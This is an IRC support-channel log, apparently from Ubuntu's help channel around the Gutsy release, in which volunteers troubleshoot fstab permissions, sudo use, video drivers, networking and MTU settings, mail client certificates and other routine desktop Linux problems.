I have been messing around with apt-zip and now I tried to edit the fstab file in etc. but it says I have no permission to do so, what way can I get permission, while I am the admin on this comp and logged into the admin [17:23] could easily have a significant performance penalty [17:23] sudo [17:23] Strangelv: my laptop at home, router and everything is configured OK [17:23] SBCU: you have to do gksudo gedit , to use your admin privs [17:23] wired connection works [17:23] nickrud: thanks [17:24] wireless connection works too... [17:24] Hello, I cannot access my Ctrl+Alt+F1-F6 logins. Can someones help me?

[17:28] so will su -, that is waht i said to do [17:28] zach382: no the vga line would have caused the problem ;) [17:28] squallbsr, all the files in the partition are root.plugdev (owner.group) [17:28] hi everyone [17:28] Cleanser23: no it won't, because people in here are using Ubuntu with root disabled [17:28] !noroot | Cleanser23 [17:28] Cleanser23: We don't support a root password so don't suggest one unless you are going to be here 24/7 to help someone who has problems as a result of having one, many thanks ;-) [17:28] Cleanser23: whos trying to gain full root access? please dont endorse such action [17:29] astro76, oh sorry i think it would be easier for some things [17:29] astro76: okay [17:29] astro76, ill shut up about root [17:29] <]-_-_00bs_-_-[> im having problems installing ubuntu (server edition) on an old PC, I get an error where it can't detect my CD-drive and wants me to load drivers on a floppy ,but my CD drive isn't abnormal, just a normal ATAPI IDE CD drive. why isn't it detected? [17:29] Cleanser23: sudo -i gives the same environment, fyi [17:29] Cleanser23: root should only be used to gain access to what you need not for the whole system [17:29] Cleanser23: if it's any consolation, you're not the only one who doesn't agree with the no-root decision === ethan961_ is now known as ethan961 [17:29] where do i get the stats for gutsy? how many packages are in main, etc....? [17:29] astro76: so do you have any ideas how to make it work? [17:30] Strangelv thank you i only use it when i am going to do somethings that require ultra amounts of rootage [17:30] Cleanser23: like I said, there's sudo -i for that... sigh [17:30] <]-_-_00bs_-_-[> im having problems installing ubuntu (server edition) on an old PC, I get an error where it can't detect my CD-drive and wants me to load drivers on a floppy ,but my CD drive isn't abnormal, just a normal ATAPI IDE CD drive. why isn't it detected?

[17:31] duns_s: gutsy come with default packages you can install more through synaptic even the updates are set only for important ones [17:31] astro76, yea but i like guis and sudo nautilus just doesnt cut it, ill eventually need to format [17:31] :( [17:31] ]-_-_00bs_-_-[: Please avoid repeating quite so often [17:31] Cleanser23: I may be less conservative. I have 2-3 root consoles running at all times to do root activities. Let's say I got really tired or rerererererereretyping my password [17:31] Cleanser23: oh dear me, you should NEVER log into X as root, even Strangelv would say that I'm sure [17:31] zach382: sudoedit /boot/grub/menu.lst , and look for vga= in a line that starts with kernel, remove it and reboot for a test [17:31] Pirate_Hunter: yes i know, i would like to know the number of packages maintained in ubuntu, that is all... [17:32] squallbsr, do I change the owner and the group of the partition in the fstab file??? [17:32] "xorg as root -- not optimal at all [17:32] Cleanser23: one, that should be gksudo nautilus, not sudo nautilus. two, what would be the alternative you'd prefer? logging into X as root? i really do hope not. [17:32] brunoskrebs, do you need more help with changing the owner and group users on a mounted fat32, or did my excerpt from mounting help? Otherwise, could you advise on how you are connecting the device to the computer? [17:32] astro76, lol i never would log into X as root [17:32] brunoskrebs, you can change it in fstab [17:32] nickrud: its 773 [17:32] <]-_-_00bs_-_-[> Jack_Sparrow, I'm repeating cause no one's answering [17:32] astro76 im not that stupid [17:32] Strangelv: That sounds like a receipe for disaster [17:32] astro76, what happens if you do? [17:32] I'm trying to think of the reasons why that might be done -- and only temporarily. Mainly I'm thinking of a requirement for configuring a package under Libranet 2.7, which doesn't apply here at all [17:32] !patience [17:32] The people here are volunteers, your attitude should reflect that. Answers are not always available. See http://wiki.ubuntu.com/IrcGuidelines [17:32] squallbsr, this is the line from fstab: $path [17:32] nickrud: i need to erase that number or the whole vga=773 string? [17:32] ops [17:33] brunoskrebs, no, its the mount command to manually mount the volume [17:33] zach382: remove vga=773 then. If it works, edit the file again and look for #defoptions and remove it there to make it permanent [17:33] okay [17:33] ill be back [17:33] zach382: the whole string, AFAIK the framebuffer support was dropped from the kernel upstream currently [17:33] squallbsr, what is the correct command? [17:34] squallbsr, mount /media/sda2 and what else? [17:34] astro76: framebuffer was dropped? wow [17:34] astro76: okay [17:34] brunoskrebs, the fstab would look something like this: /dev/sdb1 /media/windows vfat,uid=,gid=,umask=002,user 0 0 [17:34] zach382: hmm so a clean install of gutsy set vga=773 which breaks the consoles? ouch [17:34] LjL: yes that is what I here [17:34] brunoskrebs, you would of course change the appropriate mounting points and device [17:35] brunoskrebs, I made a mistake with that line [17:35] brunoskrebs, you need a space between vfat and uid=...

[17:52] mykas0, Ah, ok, yes you cawn restore it. astro76 you tihnk he could get the package from the disc?

Thank you [17:55] atro76, thank you [17:55] whats the difference between nvidia-new-kernel-source and nvidia-kernel-source when I try to runt the Rrestricted Drivers Manager it compains that nvidia-kernel-source is not installed but seems like it does not exist anymore [17:56] brunoskrebs, that umask should be 022, however if you want drwxrwxr-w then it would be 002 [17:56] crdlb: yupp works now for some reason..thx anyway [17:56] blink you can't really "uninstall Ubuntu" you can erase it from your partition or install over top of it [17:56] Hi [17:56] guy does anyone here use mppe [17:56] drgeb: IIRC, the older one was kept for backwards compatibility situations. Maybe they're resolved making it no longer needed? [17:56] I am having trouble getting it to work [17:57] however, I have yet another question - is there any way to pick the packages that get installed when I first install my system? I'd like to have ONLY the browser, the graphical environment and the terminal [17:57] I'll think about it [17:57] mykas0: alternate or minimal cd [17:57] brunoskrebs, I tested umask=000, it gives me drwxrwxrwx (basically mode 0777) [17:57] astro76, is there no way to do that with the "normal" CD? [17:57] mykas0: no [17:57] :( [17:57] ok... [17:57] thanks! [17:58] brunoskrebs, umask=002 gives you drwxrwxr-w [17:58] Hey [17:58] please help before i reinstall ubuntu. my ubuntu keeps freeze during the fsck, how can i disable it? i tried to modify the /etc/fstab last value as 0 and still... how could i change it? keep in mind i cant enter ubuntu so i cant run tune2fs i guess... [17:58] squallbsr, yes I put 002, thanks for everything man [17:58] it is working properly now [17:58] I'm having problems with my keyboard: I can't press multiple keys at once! [17:58] * Strangelv doesn't use the 'normal' CD. Admittedly, part of this wasn't just unfamiliarity but problems he ran into that are probably long since resolved [17:58] would anyone mind answering some questions of mine? I'd ask them up front but i don't want to redirect the channels' topic [17:58] Eg, when playing Wolfenstein, if I try to switch weapons while walking, it just won't do it! [17:59] It works fine in Windows. [17:59] flowers: topic is Ubuntu support, ask away ;) [17:59] cizaar: I would run your hard drive manufacturers hard drive utility [17:59] ok :) [17:59] what is a command to show my ip address? [17:59] flowers: is it asking for technical support with *ubuntu? [17:59] brophat: ifconfig [17:59] ifconfig? [17:59] brophat: /sbin/ifconfig [17:59] ok [17:59] brunoskrebs, no problem, good luck, permissions can be a bear... [18:00] Duke_Fluke: i will... i have a HP laptop... does it make any sense? [18:00] So, i just installed kubuntu everything worked fine. after i updated, hal wont start at boot. i have to go use sysv-rc-conf to start hal [18:00] flowers: the danger if you hang out too long you'll be helping other people and not fixing your technical issues. Ask me know I know... [18:00] thought everything states that it's destine to start at boot [18:00] though* [18:00] so strangelv this is so confusing cause when I try to change: Appearance->VisualEffects->Custom It complains that I don't have the NVIDIA accelerated graphics driver. So when I go to Administration->Restricted Drivers Manager it says I need to install linux-restricted-modules-2.6.22-14-server. " [18:01] cizaar: you will have a seagate,or ibm, or samsung hold on [18:01] flowers: you should ask in #kubuntu too [18:01] if I have a few puters on my lan here at home, each puter will have a different IP address? [18:01] yes brophat [18:01] drgeb: have you looked into envy? it installs restricted drivers for ati/nvidia cards pretty flawlessly [18:01] drgeb: is that what you already have installed? [18:01] sweeet [18:01] drgeb: you probably should switch to the generic kernel if you're not running a server.. [18:01] brophat, that is a must yes. [18:01] astro76: asking now. thanks [18:01] Duke_Fluke: i have Toshiba i guess [18:01] brophat: do you have a router?, if so it will hand out different addresses to each machine via DHCP [18:01] what does it do change the last number a little? [18:01] flowers: please do not recommend envy here [18:02] drgeb: I should warn you that I've not had a lot of experience with proprietary video drivers: I either got them to work or i gave up [18:02] yeah I have one of those dsl router things [18:02] flowers yes I installed Envy. if I go to Applications->System Tools -> Envy [18:02] i guess the isp saves a few IP address for me [18:02] cizaar: ok Toshiba is the only one that doesn't have its own utiity. :) just use seatools from seagate or ibm's utilitttttty [18:02] crdlb: sorry [18:02] brophat: DHCP servers are configured with a scope, which includes a range of IP address that it will assign to nodes [18:02] Hey, what's up with Ubuntu, I can only press 4 keys at the same time. It works fine in Windows? [18:02] brophat: so your machine makes a dhcp request to the router, and the router tells the machines the IP info [18:02] Duke_Fluke: thanks man, will check it [18:02] TheDarkKiller, ps/2 or usb keyboard? [18:03] cizaar: np that will verify any bad sectors [18:03] drgeb: did you run it? :( [18:03] PS/2 [18:03] Four keys should be enough for anyone? [18:03] brophat: no you only have one IP from your ISP which is exposed externally, inside your network you have local only addresses, like 192.168.x.x [18:03] * darkness (darkness@35AF9CFC.F9A70AAD.D39F63D0.IP) has left #social [18:03] * darkness (darkness@35AF9CFC.F9A70AAD.D39F63D0.IP) has joined #social [18:03] I have a bunch of .html files in a directory /home/dusty/html/bunchoffiles/ how can I check spelling of those files in console? [18:03] Anyone know of any software? [18:03] aspell ? idk if it is console [18:03] in windows you can't press more than 4 buttons on a ps/2 keyboard [18:03] brophat: 10.x.x.x or 192.x.x.x addresses are reserverd for private netorks [18:03] maybe it's giving preference to different buttons [18:03] astro76 so the IP address on one particular comupter in the house may be different each time it boots up? [18:03] Any suggestions? [18:03] * Strangelv didn't know about that limitation of ps/2 keyboards [18:03] get a usb keyboard :/ [18:03] actually 192.168.x.x [18:03] :( [18:03] crdlb yes I did run Envy Install but it did not solve my problem. I am guessing that my issue is related to the fact that I am running server kernel what do u think ? [18:03] it might be 3, might be 4, i don't remember [18:04] does top show stats for all users or just mine? [18:04] yeah i have a a 192 address [18:04] brophat: yes, it may be different [18:04] brophat: yes indeed, to get around that you can either set a static IP on each machine, or better yet if your router supports it, you can have it give the same IP to each machine everytime based on the machine's MAC address [18:04] drgeb: yes, I just said that, but since you ran envy, there's nothing I can do to help you [18:04] Is there a program to convert .avi files to mpeg 4? I'm looking at loading some videos to my iPhone. [18:04] I suppose it shows that I'm not doing anything suitably interesting with my keyboard that I'm nod doing key combinations >4 [18:04] EdgEy, it's because in Wolfenstein (a fps), I can't switch weapons while walking. [18:04] I used to be able to do that in Windows. [18:04] you can also set up an address reservation on your modem phatbro [18:04] so i installed kde4 on my ubuntu install, and its really slow.... any suggestions on how to speed it up? [18:04] astro76 sounds interesting [18:04] naknomik: mencoder [18:05] astro76 I would have to get the routers user manual to figure that out? [18:05] brophat: also depending on your router you can put a name for each machine in, and use names instead of IPs, otherwise you would add them to /etc/hosts on each machine [18:05] brophat: if you need to I guess ;) [18:05] yeah I will look into it thanks [18:05] lauren: how much free space do you now have? [18:06] Eg, when I press Shift (walk fast), W + D (go north east) and 3 (switch to main weapon), it won't respond to the 3. [18:06] It does in Windows. [18:06] So I am stumbled. [18:06] jlsolutions - 100gb or so [18:06] drgeb: you can try booting with the generic kernel instead of the server kernel, but I can't guarantee that it will work now [18:06] 1 gig of ram [18:06] hey guys, is there a way for me to comb an ntfs partition for bad sectors? can't seem to find a program that does it from ubuntu [18:06] lauren: have you booted back into gnome and tested performance there? [18:06] yea, i'm in gnome now, its fine [18:06] it was real easy with ubuntu to set up apache and install php mod with it [18:07] just a couple of clicks hahahah [18:07] ed_: isn't there an ntfsfsck? [18:07] * Strangelv doesn't know [18:07] lauren: Have you done any package updates since adding KDE [18:07] !info ntfsprogs | ed_ this package includes ntfsfix [18:07] ed_ this package includes ntfsfix: ntfsprogs: tools for doing neat things in NTFS partitions from Linux. In component main, is optional.

It doesn't show up in grub. [18:07] ed_: not sure if it does bad sectors though [18:07] ok [18:07] anyone have any ideas? [18:07] thanks astro [18:07] hello all [18:07] yea, it updated a bunch of kde stuff after the initial install [18:07] does anyone know how to automaitcally mount a usb Hard drive at boot?

[18:09] hahaha [18:09] ed_: sudo apt-get install [18:09] ok fellas thanks for the help [18:10] flowers: That depends on what "boot" means. /etc/fstab or gnome-volume-properties [18:10] sorry- newbie [18:10] in Ubuntu server, where would a hard disk be found? [18:10] /dev what? [18:10] ed_: no appologies necessary [18:10] I just installed an ext3 backup disk [18:10] its IDE [18:10] bulio: inside the computer, it's the black and silver rectangular thingie [18:10] bulio: should be /dev/sdxx [18:10] astro76: there /sda /sda1 /sda2 /sda5 [18:11] how can I tell which one to mount? [18:11] astro76? [18:11] shouldnt it be hdXX ? [18:11] dantje: how do i know what the uuid is? [18:11] !libata | cappiz no because of this [18:11] Sorry, I don't know anything about libata - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [18:11] vol_id [18:11] hmm [18:11] cappiz: but no because ubuntu uses libata [18:11] bulio, should be sdb or something if it is a second physical disk [18:11] wow.. whoever created Gnometris really overlooked it's bullsh bugs [18:12] ahh, thanks j1solutions [18:12] CaptainMorgan: file a bug report or fix them :) [18:12] astro76, my IDE shows up as hdc [18:12] cappiz: yeah it does for some people and I'm not clear why [18:12] flowers: ls -l /dev/disk/by-uuid/ [18:12] Okay, so tell me... If I've totally ruined my Ubuntu installation, is there ANY way for me to somehow get back in to GNOME to at least try and salvage some files and settings, etc? [18:12] why would i create a separate partition for /boot and not just have it apart of / [18:12] I mean obviously if you upgraded from earlier when there was no libata used [18:13] steve___: not much reason [18:13] I got two IDE disks, hda and hdc, CD-rom hdb, my S-ATA shows up as sdX [18:13] steve___ I believe it's just a failsafe - if your installation bugs out horribly, you can at least still get to the boot files and try to do something [18:13] does anyone know if it's possible to find an app to edit pdf meta data? [18:13] cappiz: and this system here which is IDE only, is all sdx *shrugs* [18:14] k [18:14] steve___: the main reason used to be a limitation with lilo and older BIOSs where the /boot needed to be below cylinder 1024 on the hard disk === USC_Guest is now known as Flare183 [18:14] dantje: thnks fixed :) [18:14] astro76: i understand. Thanks [18:14] Are any ACPI experts on this channel? :) Should the output of command 'dmesg | grep Thermal' be the same everytime you boot into Linux? I get different Thermal Zone vaules at every other boot of my laptop with kernel 2.6.23? Is this supposed to happen?

[18:16] Draggin: there's usually a way, it's just a matter of how much time and frustration you want to waste === SmoothOp is now known as CompanionLube [18:16] Draggin: and how bad you messed up ;) [18:16] anyone tried to install Ubuntu 7.10 on a PS3 with firmware 2 and can't get ethernet to work? [18:16] hi my pc isn`t finding my mic [18:16] i can`t find Multimedia Systems Selector [18:16] some help pls [18:16] ForsakenSoul: check in dmesg [18:17] ForsakenSoul: right click on the menu on your panel, and edit menus.... you probably have multimedia systems selector and many other control panels disabled [18:17] Hehe, astro76. I believe I messed up pretty badly, but I know my files and settings are all still in tact. I just can't get into any form of a GUI for Ubuntu to try and fix packages, and it's proving rather difficult from the terminal [18:17] Draggin: tried doing sudo /etc/init.d/gdm start? [18:17] Draggin: you using ssh? [18:18] Starnestommy - no, I haven't - isn't that the same as startx though? [18:18] DRebellion... Ummm... Not too sure... How would I know that? [18:18] astro76: Honestly I dont know. I got thermal zone values of 20, 22, 30, 34, 74 yesterday, but today my thermal zone values are 20, 43, 48, 48, 49. I have no idea.

It also displays the GUI login screen [18:19] Starnestommy - I doubt that it'll work then... Part of the problem is that I seem to have completely broken X... [18:19] Spl33n: oh ok, I'm not even sure what it is ;) but my laptop is reading 30 C right now [18:19] I'm coming from debian server, so does ubuntu have the same http root dir as debian? [18:19] /var/www/ [18:19] Draggin: try sudo Xorg -configure [18:19] hello [18:20] Spl33n: well, it was 30 C, you know what I mean :p [18:20] Starnestommy - is that command-line based? [18:20] bulio: believe so [18:20] Draggin: it automatically tries to detect the hardware [18:20] bulio: you could look in httpd.conf? [18:20] Starnestommy - okay, cool... That might help... [18:20] astro76: Ok, thanks. Your computer is very cool! How do yo manage to get such low temperatures? [18:21] Spl33n: you know this one (P4 laptop) started overheating and shutting down until I blew the dust out with compressed air [18:21] Starnestommy - although I have executed "dpkg-reconfigure xserver-xorg -pcritical" - is that anywhere similar? [18:23] Draggin: try -phigh or perhaps no option to get all questions [18:23] astro76: my laptop is 3 weeks old so this shouldn't be a problem. Something causes the temperature values at which fan kicks in to change at each freaking boot! So sometimes my laptop is really quiet at 45 C and sometimes the fan keeps turning on all the time (also at 45 C)! :(( [18:23] astor76 - Do you mean I should just execute "dpkg-reconfigure xserver-xorg" ? [18:23] Draggin: yes [18:24] bulio: apache is same in both [18:24] Draggin: you can hit enter for a default if you really don't know an answer ;) [18:25] astro76 and Starnestommy - thanks for the advice... I'll go give it a last bash before I just give up and hope I don't lose too much by reinstalling... [18:25] astro76 my pc can`t even find the stupid mic ... [18:25] any ideas ?

Then sudo apt-get install xserver-xgl [18:45] when i start my system it shows high value for some times what is the reason [18:46] ironman1: not that i nknow of.

[18:48] Can you have a virtual resolution that's higher than the actual display resolution on Ubuntu? I tried to use the Virtual option in the Display subsection of xorg.conf, but it's being ignored? [18:48] nick__: hidden to the bios, the OS or the user ? [18:48] by volume I mean a hard drive I dont want ot see [18:48] ikonia Ya there [18:48] There seem to be several people having my problem, but no solution that I can find.

[18:49] Bieleke: if you are getting connection refused, that typically means that nothing is listening on the port...in your case imap daemon isn't running on the server you're connecting to [18:49] is there a command one can run on a lib to find out what version of that lib it is? [18:49] stefg: i have dmraid setup and it still shows the individual drives as unmounted even though they are mounted in an array so i want to hide them [18:49] nick__: you could use some exotic partition type for it in the partition table.... but this means any other OS won't recognize it, too [18:49] Wth... Using an US keyboard layout solves the problem. [18:49] rama_8086: I don't understand your question [18:49] Does anyone know why [18:49] id like it to be the same as the one im using now [18:50] when i start my system it shows high value for some times what is the reason [18:50] firefox flash doesnt have sound anymore , it did earlier today how do i fix it?

[18:55] I have a 1280x800 display on this laptop, which isn't big enough in the vertical for a program I need to run. I tried to enable a higher virtual resolution, but the xorg.conf change seems to be ignored. Is this not something you can do in Ubuntu?

[18:58] soundray: I can ping to both domains and IP addresses. domain names successfully resolve into IP address, so it does not seem to be a DNS issue. Are you advising me to browse with firefox to 193.99.144.85? [18:58] how can i view .flv frame by frame?

[18:59] brobostigon: not what i meant, but i found a fix on goole..thx anyway [18:59] nickrud i know ugly opensource suporte :x not to good ubuntu [19:00] ok then [19:00] bmt2: i think there are probably a few front ends but you should realy use it from the cli [19:00] DRebellion: thanks [19:00] Interestingly, I found another person with the same problem on a forum, and they reported that they could also connect to ibm.com. I have just tried and indeed I am also able to connect to ibm.com. [19:00] How would I build a gcc which compiles x86_64 code but runs on my 32-bit system? [19:01] ThipThip: I don't know what could cause that, but you could check if the error is in your user config: Exit firefox, 'mv ~/.mozilla ~/mozilla-backup', start firefox and test again [19:01] Hey all, i'm trying to unmount a filesystem and it says it's busy, how can i find out what's using it?

Try 'env | grep -i http' [19:02] anyone know how good speech-to-text/speech control support is for ubuntu? my friend's wondering if it would work for a paraplegic [19:02] how can i view videos frame by frame especially .flv? [19:02] stragerNL: Yes, I can ping both domains and IPs [19:02] Can anyone help me get my 3D effects back? Usually, if i try to use the nvidia driver, i get a console, so im forced to use vesa. I need to use nvidia_new. Also, nvidia.ko is in the volatile directory, so what does that mean? [19:02] maccam94: afaik, there's no good equivalent to Dragon on Linux. [19:02] where is a good how to on picasa [19:02] unagi: try vlc?? [19:03] soundray: env | grp -i http returns nothing [19:03] maccam94: there is no good free speech recognition software around, really. and i think not even any good commercial one currently. check out "sphinx2-bin" however. [19:03] unagi: If you want to use mplayer, use the . key. [19:03] ThipThip: How are you connected to the internet? Are you behind a router? [19:04] !info gnome-voice-control > maccam94 [19:04] runemaste644: Look up envy. [19:04] minimec: Yes, I am behind a router, but I have also tried connecting directly to the cable modem, and I had the same results. [19:04] How can I turn my server into a SOCKS proxy [19:04] i tried envy, it just errored out on me [19:04] ciao [19:04] at least from cli [19:04] mplayer = totem? [19:04] !info dante-server > Sitherae [19:05] unagi: no, they are not equivalent [19:05] runemaste644: What errors? [19:05] LjL That didnt trigger anything. [19:05] unagi: Not that I know of. [19:05] i dont remember... [19:05] Hello, I'm trying to install Wine and get: Error: Dependency is not satisfiable: binfmt-support What should I do to install it anyways? [19:05] Sitherae: you got no private message window? [19:05] mplayer is graphical? [19:05] LjL Oh I did thanks [19:05] this is on a computer without an internet connection [19:05] ThipThip: Hmm.. and firefox is not responding, but you can ping whatever site you want? [19:05] Hi! Guys, i know this might be most common question here... but how to play DVD in TOtem? [19:05] just click on the same package and say reinstall [19:05] unagi: gmplayer is [19:05] SBCU, it *should* be satisfiable. pastebin your sources.list please [19:05] SBCU: ah. [19:05] !dvd | Citrusss [19:05] Citrusss: For playing DVD, see http://help.ubuntu.com/ubuntu/desktopguide/C/video.html - "libdvdcss2" can be found at !Medibuntu or (for Feisty and earlier) http://wiki.ubuntu.com/SeveasPackages - Try k9copy (available in !Universe) for backing up DVDs [19:05] unagi: yes [19:05] I was playing with my compiz settings and now when I start world of warcraft (fullscreen windowed) my gnome panels stay on the top and bottom of the screen overwriting the window, I havent had much luck finding a solution through google, any ideas [19:05] ah [19:05] thx :D [19:05] i still have envy on my system [19:05] SBCU: well how are you installing wine then? [19:05] LjL: okay [19:06] kebinusan: Window-specific options [19:06] but nvidia drivers worked fine before [19:06] LjL Can I not use SSH to do it [19:06] exit [19:06] runemaste644: I bet you updated your kernel. [19:06] i dont know what broke it [19:06] LjL: would it maybe work if I adjust the sources to non-ubuntu? [19:06] Sitherae: ssh -D port localhost [19:06] runemaste644: we don't support envy [19:06] Sitherae: That's the simple way. [19:06] how can i 'open terminal here' [19:06] SBCU: i'm not following you. SSH to do what? non-ubuntu? [19:06] unagi: ? [19:06] hi [19:06] unagi: install nautilus-open-terminal [19:07] I knew updating my kernel was a bad idea! [19:07] Hello, im using an ASUS WL-107G wireless adapter with a fully updated Ubuntu 7.10 (kernel 2.6.22-14) and it works fine, but periodically slows down from a max of 15mb/s to 100 kb/s for seemingly no reason. Is this documented at all? [19:07] LjL: to download third party software you must adjust the system, is this the same with installing? [19:07] runemaste644: Leave it at your old kernel version if you don't want to install anything. [19:07] my kernel is 2.6.20-16.31 [19:07] SBCU: adjust the system? i *really* am not following you. [19:08] LjL: okay, sorry, I'll try to find the right words [19:08] installed now how do i use it nickrud [19:08] strangerNL does the port need to be 22 or a different port [19:08] hey whats a lvm? [19:08] use entire disk and set up lvm [19:08] ok how do i leave it at my old version [19:08] unagi: open the file manager, then select a folder and right click, you should see open terminal here [19:08] !lvm | ironman1 [19:08] ironman1: Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/RaidConfigurationHowto and http://www.tldp.org/HOWTO/LVM-HOWTO [19:08] I've just configured mutt to use gmail with imap, but when I tell mutt to accept the certificate always, it returns "warning: certificate couldn't be saved". What is the reason for this? [19:08] Sitherae: The port of the SOCKS proxy you want to host. [19:08] unagi: or open in terminal reather [19:09] Onyx: a full disk, or a ~/.muttrc owned by someone other than you? [19:09] LjL: I'm trying to work with a Finnish and a English computer here, leads in the end to total confusion within my head [19:09] ThipThip: Just for a try. Why don't you set the MTU to 1492 for your network device? [19:09] interesting [19:09] okay. in Synaptic it says libdvdread3 is installed... [19:09] do i have to restart? [19:09] minimec: How do I set the MTU for my network device? [19:09] soundray: Nope, the .muttrc is owned by me, and I definitely have plenty of space... [19:09] or how do i update my nvidia drivers to match my kernel [19:10] sbcu: i work with german and eglisch customers, and have machine sin englisch and german. [19:10] would that work too? [19:10] unagi: if you don't see it, type alt-f2 pkill nautilus , nautilus will restart and you should see it [19:10] HI all [19:10] ThipThip: first open a terminel and verify your device. ifconfig <--- post your device [19:10] I just installed gnome-voice-control, but I have no idea how to start it... [19:10] strangerNL how would I do that with putty [19:10] ubuntu is starting to really piss me off [19:10] pocketprotector: Why? [19:10] pocketprotector: why?? [19:10] cdm10: i don't know, try typing « dpkg -L gnome-voice-control | grep bin », that should give you the name of the executable. [19:10] LjL: ok, thanks [19:10] cdm10: same [19:11] gah, my install hangs at scanning for mirror 82% [19:11] hey, complete noobie here [19:11] waste of time [19:11] but i cant get q3 to work [19:11] sexy: hey [19:11] I have xubuntu 7.10 and I have Compiz with an i810e graphics card; I can't seem to enable it. Any Ideas? [19:11] <_Elmore> i see maccam is orking his magic in here too [19:11] <_Elmore> lol [19:11] randomwalker: yeah, I hate that step. It used to have a skip button, but they took it away in gutsy. [19:11] minimec: I have run ifconfig. Of course I am not IRCing from the same computer as the Ubuntu installation, and that computer (my main desktop) is unable to connect to IRC. What would you like to know from my ifconfig? [19:11] stragerNL should i downgrade my kernel or update my drivers [19:11] does anyone here do any downhill skiing? [19:11] VvWolverinevV: that's offtopic. [19:11] brobostigon: [19:11] minimec: And moreover, how do I change my MTU? [19:12] runemaste644: Whichever you want. [19:12] ah thank you nickrud [19:12] Onyx: it wouldn't try to save the certificate there, anyway. Don't know where it goes, though... Try the docs or run 'strace mutt 2>trace' (might be overkill) [19:12] mplayer does NOT like .flv [19:12] which would be better? [19:12] randomwalker: alt-f8 should show you some progress, but most likely some mirror(s) are down and hanging the probe [19:12] runemaste644: If you don't want to mess with nvidia (I have nvidia too, and I hate it), downgrade your kernel. [19:12] unagi: Mine does. [19:12] runemaste644: If you want an updated system update your kernel, obviously. [19:12] it locks up and gives me some error about screensaver [19:12] !!! [19:12] i dont see a 2.6.20-16.31 nv driver so ill downgrade kernel [19:12] !highno | runemaste644 [19:12] greetings all [19:12] LjL: nothing matching "bin" [19:12] runemaste644: A higher version number does not mean that it's better. Especially with packages such as the linux kernel. The packages in the Ubuntu repositories are stable and will work fine. You should have a better reason than "newer" when considering compiling from source or using 3rd party repos. [19:12] cdm10: it's a gnome panel applet! [19:13] ThipThip: Clear ;) I am stupid... You can change your MTU with something like 'sudo ifconfig eth0 mtu 1942' [19:13] haha [19:13] found it [19:13] maccam94: oh! [19:13] lol [19:13] runemaste644: you should use the ubuntu-packaged nvidia drivers [19:13] sexy: to improve your chances of being taken seriously, I would suggest changing your nick [19:13] tritium: Those do not work. [19:13] <_Elmore> oktanouc, is progress looking good maccam? [19:13] stragerNL: yes, they do [19:13] ok now im confused [19:13] ThipThip: 1492 <---- Sorry [19:13] tritium: Not on my or runemaste644 's system. [19:13] stragerNL: but to suggest that they don't work period is false [19:14] would it seem weird that one partition (hda1) on a drive works fine but another gives IO Errors (hda2)? [19:14] tritium: nv does **not** work on our systems. [19:14] ... Ive installed like 7 packages via apt-get and synaptic, most w/ unauthenticated something; Ubuntu's even warned me if I wanted to continue and everytime I hit yes, install, should I be worrying or taking any precautions to that? [19:14] can someone help me install the spca5xx driver in gutsy? [19:14] stragerNL, nv is not the nvidia.com driver. [19:14] tritium: no off topic allowed? [19:14] PriceChild: I know. [19:14] taob: type sudo aptitude update and see if that continues happening [19:14] VvWolverinevV: no, use #ubuntu-offtopic === shawnr34 is now known as shawnrgr34 [19:14] PriceChild: tritium mentioned the "prepackaged" driver. [19:14] k, thanks [19:14] minimec: My goodness, that worked! Thank you so much! Can you explain to me what MTU is and why that was a problem? [19:14] stragerNL, there are "nv" and "nvidia" drivers packaged by ubuntu [19:14] + + [19:14] stragerNL: I'm talking about the restricted drivers [19:14] cdm10, thanks, will do [19:15] stragerNL, 3 versions of the latter even [19:15] PriceChild: Sinse when is nvidia packaged with ubuntu? [19:15] cdm10: i see it should be a panel applet. try right click on your panel and add applet. [19:15] is it possible for a script to run at sessions and say 'if [this is true] then [set menu properties as this]'? [19:15] stragerNL: since always [19:15] hello [19:15] soundray: open("/home/xeper/.mutt/certificates", O_WRONLY|O_CREAT|O_APPEND, 0666) = -1 EISDIR (Is a directory) /// write(1, "\7", 1) = 1 /// write(1, "\r\33[24d\33[37m\33[40mWarning: Couldn\'"..., 77) = 77 is what strace returned [19:15] tritium: I've never seen them. =[ [19:15] !nvidia | stragerNL [19:15] stragerNL: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto [19:15] stragerNL, system > admin > restricted driver manager [19:15] I have mine installed [19:15] LjL: Now, how do I use it? It's missing docs. [19:15] stragerNL: then you've not done much googling, or read your help system [19:15] LjL: Where can I find the sources list? [19:15] tritium: I installed the drivers back in the dapper days, is that it ? [19:15] stragerNL, in future I would suggest you read ubuntu documentation before 3rd party. [19:16] stragerNL: is what it? [19:16] I need to replace all instances of the character "^" in a text file with a return (new line) char. How can I do this from command line or gedit? [19:16] Onyx: try a 'mv ~/.mutt/certificates ~/mutt-cert-backup' and try again [19:16] ThipThip: It looks like your provider or your router is blocking some communication ports for data packages. Try to configure your router [19:16] cdm10: it should have some docs, "man gnome-voice-control". also, homepage at http://live.gnome.org/GnomeVoiceControl [19:16] i feel nervous about downgrading the kernel [19:16] tritium: The reason I didn't know about the pre-packaged nvidia driver. [19:16] stragerNL: I don't know why you haven't learned of them yet. Only you can answer that. [19:16] runemaste644: I suggest you use the restricted nvidia packages [19:16] what does this passwd error "authenication token lock busy' mean [19:17] LjL: ok [19:17] minimec: What should I be looking to configure in my router? Why would this issue not also affect my windows installation on the same machine? Why does changing the MTU fix the problem? Is there a disadvantage to leaving the MTU at 1492? [19:17] I saw a spca5xx question floating by, but can't find it now. Use the gspca module instead, it comes with gutsy [19:17] soundray: oh... that worked :) [19:17] is there a version of it for the 2.6.20-16.31 kernel? [19:18] ThipThip: THe package size of your linux computer is sending '1500' size, where providers normally use 1942.

I mean, I realize you don't know the numbers off hand, but what are the ports in question used for and how does the packet size relate to these ports? Also, does windows use an MTU of 1492 and thus was unaffected by this problem?

[19:44] MenZa-> can you use the redirect > instead of pipe so it doesnt get display on the main channel [19:44] and GPartEd recognized it [19:44] what are you setting up wireless [19:44] Menza: Ok next? [19:44] Thanks for your help. =) [19:44] Darkmystere: then run: sudo ./find-madwifi-modules `uname -r` --- I'm not sure if the name of the file is that, but just type find and hit tab.

